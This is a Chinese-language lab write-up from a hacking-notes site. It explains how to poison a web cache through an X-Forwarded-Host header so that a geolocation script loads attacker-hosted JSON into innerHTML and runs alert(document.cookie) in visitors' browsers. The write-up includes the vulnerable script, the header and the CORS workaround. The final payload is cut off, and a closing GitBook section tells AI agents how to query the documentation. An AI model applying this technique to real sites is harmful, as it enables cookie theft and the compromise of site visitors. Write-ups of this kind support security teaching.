> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-to-exploit-an-xss-dom-with-strict-cache.md).
# 通过严格缓存缓存投毒来利用 DOM XSS
### 通过具有严格可缓存性标准的缓存进行 Web 缓存投毒，以利用 DOM 漏洞
#### 实验目标
我们必须 **污染缓存** 以便主页访问者执行 **`alert(document.cookie)`** 通过一个 **DOM 漏洞**.
#### 观察
* 该页面显示按国家/地区划分的配送信息（例如英国）。
* 我们识别出一个 **`geolocate.js`** 从 JSON 构建 DOM 的脚本。
#### 客户端逻辑分析
在 **`geolocate.js`** 我们看到如下类型的函数：
* 她发出一个 `fetch(jsonUrl)`
* 然后它检索 `j.country`
* 然后她这样做： **`div.innerHTML = '免费配送至 ' + j.country;`**
```javascript
function initGeoLocate(jsonUrl)
{
fetch(jsonUrl)
.then(r => r.json())
.then(j => {
let geoLocateContent = document.getElementById('shipping-info');
let img = document.createElement("img");
img.setAttribute("src", "/resources/images/localShipping.svg");
geoLocateContent.appendChild(img)
let div = document.createElement("div");
div.innerHTML = '免费配送至 ' + j.country;
geoLocateContent.appendChild(div)
});
}
```
默认加载的 JSON 为：
**`/resources/json/geolocate.json`**
```json
{
"country": "英国"
}
```
在主页中，JSON URL 的构建方式如下：
```javascript
```
#### 有用的注入点（缓存投毒）
我们注意到，如果我们添加一个类似以下的请求头：
* `X-Forwarded-Host: test.com`
然后 **该值会被反射** 在 `data.host`，这随后会影响传递给 `initGeoLocate()`.
#### 在我们的 exploit server 上托管 JSON
在我们的 **exploit server**上，我们创建一个 JSON 文件（简单示例）：
```json
{
"country": "安道尔"
}
```
然后我们向根路径发送一个请求，并带上：
* `X-Forwarded-Host: `
```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```
起初，这个 **无法加载** 因为一个问题 **CORS** （没有 `Access-Control-Allow-Origin`).
因此我们在返回给 exploit server 的响应中添加：
* `Access-Control-Allow-Origin: *`
```http
Access-Control-Allow-Origin: *
```
之后，远程 JSON 能够正常加载。
#### 通过 JSON 注入 XSS（DOM XSS）
然后我们将 JSON 的内容替换为一个 payload，例如：
```json
{
"country": "
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-to-exploit-an-xss-dom-with-strict-cache.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.